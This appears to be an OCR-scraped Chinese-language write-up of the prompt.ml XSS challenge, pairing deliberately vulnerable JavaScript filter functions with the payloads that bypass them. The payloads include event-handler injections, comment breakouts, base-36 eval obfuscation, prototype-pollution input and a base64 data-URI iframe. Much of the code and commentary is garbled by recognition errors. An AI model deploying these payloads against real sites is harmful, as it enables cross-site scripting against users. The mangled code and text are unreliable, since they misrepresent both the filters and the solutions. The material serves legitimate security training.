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#!js

function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';

}
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#!1html
"><svg/onload=prompt(1)>
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"onresize=prompt(1)>
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#!3js
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[*>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';

}
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<svg/onload=prompt(1)
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<svg/onload=prompt(1)//
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#1js

function escape(input) {
// v-- frowny face
input = input.replace(/[=(1/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;

}

L e

®£(E 8 msdn.microsoft.com/en-
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#!lhtml
<svg><script>prompt&#40;1)<b>
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#!lhtml
<svg><script>prompt&#40;1)</script>
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#!html
<script>eval.call ${'prompt\x281)"'} </script>
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#!html
<script>eval.call ${'prompt\x281)"'} </script>
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#!js

function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return ‘'<!-- ' + input + ' -->";

}

SR

25N FRIER AW R T



#!html
--1><svg/onload=prompt (1)
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#!3js
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/~(2:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';

}
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#!3js
function escape(input) {
// apply strict filter rules of level ©
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
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return '<input value="' + input + '" type="text">"';

}
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#!js

"type=image src onerror
="prompt(1)
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#!3js
"onresize
="prompt(1)
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#17js
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\

if (!/script:|data:/i.test(document.forms[@].action)) \n\

document.forms[0@].submit(); \n\

else \n\
document.write("Action forbidden.") \n\
</script> \n\

.
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} catch (e) {
return 'Invalid form data.';

}
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#1js
javascript:prompt(1)#{"action":1}
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#!3js
vbscript:prompt(1)#{"action":1}
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#!html

<p class="comment" title=""><svg/a="></p>

<p class="comment" title=""onload='/*"></p>
></p>

<p class="comment" title="*/prompt(1)
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#1]js
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) +

}).join("\n");

></p>';

}
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#!html
"><svg/a=#"onload="/*#*/prompt(1)"
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#!1html
"><script x=#"async=#"src="//20.ks

<p class="comment" title=""><script x="></p>

<p class="comment" title=""async="></p>

<p class="comment" title=""src="//204%"></p>
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#!html
<script src="test.js" async>
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#!1html

<script>

// console.log("
prompt (1)

="

</script>
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#!js

function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"1/g, '");

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
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[U+2028]prompt (1) [U+2028]-->
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https://link.juejin.im?target=https%253A%252F%252Fjavascript.spec.whatwg.org%252F%2523comment-syntax

#13js
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!

return '<hl>' + input + '</h1>"';

}
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#!lhtml
<lcript/lfrc=//14Rs></lcript>
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<lcript/async/src=//20Rks>
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#1js
function escape(input) {
// (J °oq0) J _ L—IL
input = encodeURIComponent(input).replace(/prompt/g,
// T—T1 ~Z( °- °/) chill out bro
input = input.replace(/'/g, '');

// (¢ °0°) 7 ~ /(.o. \) DONT FLIP ME BRO
return '<script>' + input + '</script> ';
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}
B i A5

ER

#1js
p'rompt(1)
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#!3js
function escape(input) {
// name should not contain special characters

var memberName = input.replace(/[[|\s+*/\\<>&":;=~1%-1/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context

return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
IR
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#13js
"(prompt(1))in"
<script>
var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};
if (data.action === "login")
document.write(data.message)
</script>
ke
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#!js
parseInt("prompt",36); //1558153217
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Bl b
A LMEHeval ((1558153217) .toString (36)) (1)
WA Pleval (1558153217..toString (36)) (1)

A Pheval (630038579..toString (30)) (1)
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#!js
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

/1l /1717 ~ (\o°0)\

return '<script>' + input + '</script> ';
}
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#!3js
eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == ©x258da®33):
eval(0x258da@33.toString(30)) (1)
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#13js
for((i)in(self))eval(i)(1)
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#13js

config = {
"source": " _-_invalid-URL_-_",
" _proto__": {

"source": "my_evil payload"

}

}
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delete config.source
config.source
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my_evil payload
L e

BEH NI, replace()iXANEE, fihif# % — Rk ILEC & R developer.mozilla.org/en-US/docs/ ... #i%
m.

$° BHRBERKTRS, I AN L A B 5T 7R 8
Lo

BB TR

'123456" .replace('34','$ xss")
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https://link.juejin.im?target=https%253A%252F%252Fdeveloper.mozilla.org%252Fen-US%252Fdocs%252FWeb%252FJavaScript%252FReference%252FGlobal_Objects%252FString%252Freplace%2523Description

#13js
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];

}
}
return obj;
}
// a simple picture plugin
try {

// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150"
}, JISON.parse(input));
// forbit invalid image source
if (/[*\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return ‘<img src="{{source}}">"'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';

}
ke
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#1js
"source":{},"__proto__ ":{"source":"$ onerror=prompt(1)>"}}
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#13js
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.IJPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}
R
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"><IFRAME/SRC="x:text/html;base64, ICASBUONSSVBUIC8KU1IDCSA9SFRUUFM6UEIUMS5NTD4IPCOTQ1IIUFQIPD4=
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#!html
"><script/async/src="/[ 20.s

<img src=""><SCRIPT/ASYNC/SRC="/[ 20.ks" >
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#!html
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment="'{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment="'{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
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function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(®, 15) + '" data-comment=\'{"id":' + index + '}\'
}).join(*\n");
}
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#!1html
"><svg><l--#--><script>< ! --#-->prompt (1<!--#-->)</script>
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#!html
"><svg>< ! --#--><script><!--#-->prompt(1)</
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#!1html
"><script>  #${prompt(1)}# </script>
ke
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XEFEMEHTHEANESERBET, £ ~javascriptfZB &R T+, L FEER LLZEchrome FF12347

#1js
function functionDeclaration(a,b,c) {
alert('Function declared with ' + functionDeclaration.length + ' parameters');

functionDeclaration(); //alert > Function declared with 3 parameters
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'123456" .replace('34', '$&x")

'1234x56'  //x BEEAZ BRI 34M0EB
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#13js
if (history.length > 1337) {
// you can inject any code here
// as long as it will be executed
function history(l,o0,r,e,m...1338 times...){{injection}}

prompt (1)
}
ke
code
#1js
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<1/g, '');
return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
".replace('{{injection}}', input);
}
ke
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#!js
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